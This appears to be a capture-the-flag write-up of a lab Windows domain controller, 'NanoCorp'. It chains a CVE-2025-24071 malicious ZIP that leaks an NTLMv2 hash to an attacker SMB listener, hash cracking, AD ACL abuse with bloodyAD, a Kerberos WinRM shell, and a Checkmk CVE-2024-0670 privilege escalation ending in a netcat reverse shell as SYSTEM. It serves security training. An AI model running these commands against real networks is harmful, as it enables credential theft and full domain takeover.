#Reconnaissance

#Port Scan

Nmap reveals a Windows Domain Controller with numerous services:

• 53/tcp - DNS
• 80/tcp - HTTP (Apache 2.4.58 / PHP 8.2.12) → redirects to nanocorp.htb
• 88/tcp - Kerberos
• 389/636/tcp - LDAP / LDAPS
• 445/tcp - SMB
• 5986/tcp - WinRM over SSL (dc01.nanocorp.htb)

#Service Identification

Port 80 redirects to nanocorp.htb. Clicking through site reveals hire.nanocorp.htb - a hiring portal with a resume upload feature that accepts .zip files.

---

#Initial Access - CVE-2025-24071 (NTLMv2 Hash Capture)

#Exploiting .search-ms in ZIP

The resume upload accepts ZIP files, which Windows Explorer processes automatically. CVE-2025-24071 abuses this - a .search-ms file inside a ZIP triggers an automatic SMB connection to an attacker-controlled server when the archive is opened, leaking the victim's NTLMv2 hash.

Using the CVE-2025-24071 exploit:

python3 exploit.py -i 10.10.14.2 -f evil

This generates a malicious ZIP that, when uploaded and processed, causes the server to authenticate back to us via SMB. Capturing with responder:

sudo responder -I tun0 -v

#Captured Hash

web_svc::NANOCORP:5fa8b6e819aa067d:1BAAFB9124BF55D1DA0F07C7C6B40ADE:0101000000000000...

#Cracking the Hash

The hash is NTLMv2. Cracking with john:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

web_svc:dksehdgh712!@#

#Domain Enumeration

With web_svc credentials, we enumerate the domain:

netexec smb 10.129.1.4 -u 'web_svc' -p 'dksehdgh712!@#' --users

User	Description
Administrator	Built-in domain admin
web_svc	Our compromised account
monitoring_svc	Target for lateral movement

BloodHound collection:

bloodhound-python -u 'web_svc' -p 'dksehdgh712!@#' -d nanocorp.htb -ns 10.129.1.4 -c all

---

#Lateral Movement - AD ACL Abuse

#BloodHound Analysis

BloodHound reveals the following attack path:

web_svc ──[AddSelf]──> IT_Support Group ──[ForceChangePassword]──> monitoring_svc

1. web_svc can add itself to the IT_Support group (AddSelf)
2. IT_Support has ForceChangePassword over monitoring_svc

#Exploitation with bloodyAD

#Step 1 - Add web_svc to IT_Support

bloodyAD -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --host 10.129.1.4 add groupMember 'IT_Support' 'web_svc'

#Step 2 - Reset monitoring_svc password

bloodyAD -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --host 10.129.1.4 set password 'monitoring_svc' 'Hacked123!'

#Step 3 - WinRM Shell via Kerberos

monitoring_svc is in the Protected Users group, which blocks NTLM authentication. WinRM requires Kerberos with SSL on port 5986.

Sync clock:

sudo timedatectl set-ntp false

sudo ntpdate -u 10.129.1.4

Get TGT:

impacket-getTGT nanocorp.htb/monitoring_svc:'Hacked123!' -dc-ip 10.129.1.4

export KRB5CCNAME=monitoring_svc.ccache

Connect using winrmexec script with Kerberos + SSL support:

python3 evil_winrmexec.py -k -no-pass -ssl -port 5986 'nanocorp.htb/monitoring_svc@dc01.nanocorp.htb'

We now have a shell as monitoring_svc on DC01.

---

#Privilege Escalation - CVE-2024-0670 (Checkmk Agent LPE)

#Enumeration

Listing processes reveals a Checkmk monitoring agent running as SYSTEM:

check_mk_agent    3128    (SYSTEM)

cmk-agent-ctl     3992    (SYSTEM)

Checkmk agent v2.1.0p10 is installed at C:\Program Files (x86)\checkmk and configured in C:\ProgramData\checkmk\agent\. The agent runs in legacy mode (no authentication) on port 6556.

C:\ProgramData\checkmk\agent\bin\cmk-agent-ctl.exe status

# Version: 2.1.0p10

# Legacy mode: enabled

#CVE-2024-0670 - Local Privilege Escalation via Writable Temp Files

CVE-2024-0670 is a local privilege escalation in Checkmk Agent for Windows. The agent creates temporary .cmd files in C:\Windows\Temp with the pattern cmk_{string}_{pid}_{counter}.cmd and executes them as SYSTEM. An attacker can pre-place read-only malicious files matching this pattern to hijack execution.

Using the CVE-2024-0670 PoC exploit:

#Step 1 - Prepare tools

Upload exploit.ps1, nc.exe, and RunasCs.exe to the target.

#Step 2 - Configure exploit

Edit exploit.ps1 to point to our listener IP.

#Step 3 - Stage the files

move exploit.ps1 C:\Windows\Temp\

move nc.exe C:\Windows\Temp\

icacls C:\Windows\Temp\exploit.ps1 /grant Everyone:F

icacls C:\Windows\Temp\nc.exe /grant Everyone:F

#Step 4 - Start listener

nc -lvnp 1111

#Step 5 - Execute as web_svc via RunasCs

The exploit requires triggering a Checkmk MSI repair, which needs a different user context. We use RunasCs.exe to execute as web_svc:

.\RunasCs.exe web_svc "dksehdgh712!@#" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"

The exploit pre-places .cmd files in C:\Windows\Temp, triggers a Checkmk MSI repair, and the agent executes our payload as NT AUTHORITY\SYSTEM → reverse shell caught on the listener.

C:\Windows\system32> whoami

nt authority\system



C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

---

#Attack Chain Summary

Port 80 (hire.nanocorp.htb - Resume Upload)

  │

  ├─ CVE-2025-24071: .search-ms in ZIP → SMB auth to attacker

  │  └─ responder captures NTLMv2 hash for web_svc

  │     └─ john → password: dksehdgh712!@#

  │

  ├─ AD ACL Abuse (via bloodyAD):

  │  ├─ web_svc ──[AddSelf]──> IT_Support group

  │  └─ IT_Support ──[ForceChangePassword]──> monitoring_svc

  │

  ├─ Kerberos + WinRM (Protected Users bypass):

  │  └─ evil_winrmexec.py -k -ssl → shell as monitoring_svc on DC01

  │

  └─ CVE-2024-0670: Checkmk Agent LPE

     ├─ RunasCs as web_svc triggers MSI repair

     └─ Pre-placed .cmd files executed as SYSTEM → root

---

#Key Takeaways

1. CVE-2025-24071 - .search-ms files in ZIP archives trigger automatic SMB connections when processed by Windows Explorer, leaking NTLMv2 hashes without user interaction beyond opening the archive
2. AD ACL chaining - AddSelf into a group that has ForceChangePassword creates a two-hop lateral movement path that's easy to miss without BloodHound graph analysis
3. Protected Users group blocks NTLM authentication, forcing attackers (and defenders) to use Kerberos. This also means clock synchronization is critical
4. Checkmk Agent legacy mode (CVE-2024-0670) - the agent runs as SYSTEM and creates predictable temporary files in C:\Windows\Temp, enabling local privilege escalation through file pre-placement
5. RunasCs allows switching user context when the current user cannot trigger the exploit condition directly - a common pattern in Windows privilege escalation chains